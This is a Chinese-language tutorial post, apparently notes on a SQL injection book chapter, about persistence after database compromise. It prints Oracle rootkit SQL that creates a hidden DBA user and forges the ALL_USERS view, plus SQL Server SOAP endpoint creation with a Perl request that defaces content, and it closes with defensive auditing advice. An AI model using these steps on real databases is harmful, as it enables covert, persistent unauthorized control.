SQL注入与防御-第六章-3:利用操作系统--巩固访问

一、核心逻辑与价值

"巩固访问" 是 SQL 注入攻击的持久化控制阶段,通过篡改数据库权限、植入隐蔽后门(如 "数据库 rootkit" )、利用系统组件(如 SQL Server SOAP 端点 ),实现对数据库及关联服务器的长期控制,绕过常规防御检测,扩大攻击影响。

二、技术实现与典型场景

(一)数据库 Rootkit 植入(以 Oracle 为例)

1. 原理

通过篡改数据库元数据、系统视图,隐藏恶意用户、权限或操作,类似操作系统 Rootkit 对系统进程、文件的隐藏,使攻击行为长期潜伏。

2. 实施步骤(示例代码)

sql 复制代码
- 1. 创建隐蔽用户(需 DBA 权限)
GRANT DBA TO hidden IDENTIFIED BY hidden_2009;
-- 2. 禁用多进程(干扰系统审计)
SELECT sys.kupp$proc.disable_multiprocess FROM dual;
-- 3. 篡改用户标识(伪装为 SYS 用户)
SQL> exec sys.kupp$proc.change_user('SYS');
-- 4. 隐藏用户(修改系统视图过滤条件)
UPDATE sys.users SET temp#='666' WHERE name='HIDDEN';
-- 5. 创建伪造视图(从 ALL_USERS/DBA_USERS 中隐藏恶意用户)
CREATE OR REPLACE FORCE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED") AS
SELECT u.name, u.user# , u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
AND u.tempts# = tts.ts#
AND u.type != 1 -- 过滤恶意用户类型
AND u.temp# != '666'; -- 过滤标记用户

3. 防御难点

  • 直接篡改系统表 / 视图,突破常规权限审计;
  • 依赖数据库高权限(如 DBA ),攻击成功后难以追溯。

(二)利用 SQL Server SOAP 端点持久化控制

1. 原理

通过 CREATE ENDPOINT 命令创建 SOAP 端点,将 SQL 执行能力绑定到 HTTP 服务,实现跨协议控制(从数据库注入延伸到 Web 服务接口 ),绕过传统数据库防御。

2. 实施步骤(示例代码)

sql 复制代码
- 创建 SOAP 端点(需高权限,如 sysadmin )
EXEC ('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP
( PATH = ''/sp'', PORTS=(CLEAR), AUTHENTICATION=(INTEGRATED) )
FOR SOAP (BATCHES=ENABLED)');
-- 通过 SOAP 端点执行任意 SQL(示例:篡改 Web 页面)
-- 构造 Perl SOAP 请求(简化示例)
use SOAP::Lite;
my $soap = SOAP::Lite->uri('http://schemas.microsoft.com/sql/2004/08/server');
my $result = $soap->Execute( SOAP::Data->name('sql' => 'UPDATE test SET content = ''Hacked'' WHERE id=1')
)->result;

3. 攻击链扩展

  • 绑定到 IIS 同一内核组件(http.sys ),利用 SQL Server 高权限篡改 Web 内容;
  • 结合 sqlbatch 方法,通过 SOAP 远程执行 T-SQL 语句,实现命令执行、权限维持。

(三)主流数据库 Rootkit 与防御启示

1. 典型工具与案例

  • SQL Server :利用 http.sys 暴露 SOAP 端点,创建隐蔽通信通道;
  • Oracle :通过修改 ALL_USERS DBA_USERS 视图隐藏用户,结合 sys.kupp$proc 篡改系统状态;
  • 历史案例:Chris Anley 的 "三字节补丁"(反转条件跳转逻辑禁用系统验证 )、Alexander Kornbrust 揭露的数据库 Rootkit 家族。

2. 防御思路

  • 元数据审计 :定期检查系统表(如 sys.users ALL_USERS )、视图的异常变更,对比官方 schema 哈希;
  • 功能限制 :禁用不必要的数据库功能(如 CREATE ENDPOINT sys.kupp$proc ),最小化攻击面;
  • 行为监控 :通过数据库审计工具(如 SQL Server Audit、Oracle Audit Vault )追踪高权限操作(如 GRANT DBA CREATE VIEW )。

三、总结

"巩固访问" 是 SQL 注入攻击的持久化阶段 ,利用数据库 Rootkit、系统组件扩展(如 SOAP 端点 ),实现长期控制与隐蔽渗透。防御需聚焦元数据审计、功能最小化、行为监控,切断攻击的持久化链路。此类攻击依赖高权限,因此权限收缩与实时审计是核心防御手段。

相关推荐
数据库安全3 小时前
首批|美创智能数据安全分类分级平台获CCIA“网络安全新产品”
大数据·人工智能·web安全
渣渣盟4 小时前
掌握MySQL函数:高效数据处理指南
sql·mysql·adb·dba
??? Meggie5 小时前
【SQL】使用UPDATE修改表字段的时候,遇到1054 或者1064的问题怎么办?
android·数据库·sql
工藤学编程6 小时前
分库分表之实战-sharding-JDBC绑定表配置实战
数据库·分布式·后端·sql·mysql
He.ZaoCha9 小时前
函数-3-日期函数
数据库·sql·mysql
工藤学编程10 小时前
分库分表之实战-sharding-JDBC水平分库+分表后:查询与删除操作实战
数据库·spring boot·后端·sql·mysql
情分丶13 小时前
中国蚁剑使用方法
网络安全
王天天(Bennet)13 小时前
【防火墙基础之传统墙到 UTM 到 NGFW 再到 AI 的变化】
人工智能·网络安全·防火墙·ngfw·防火墙发展与认知
好奇的菜鸟19 小时前
Spring Boot 事务失效问题:同一个 Service 类中方法调用导致事务失效的原因及解决方案
数据库·spring boot·sql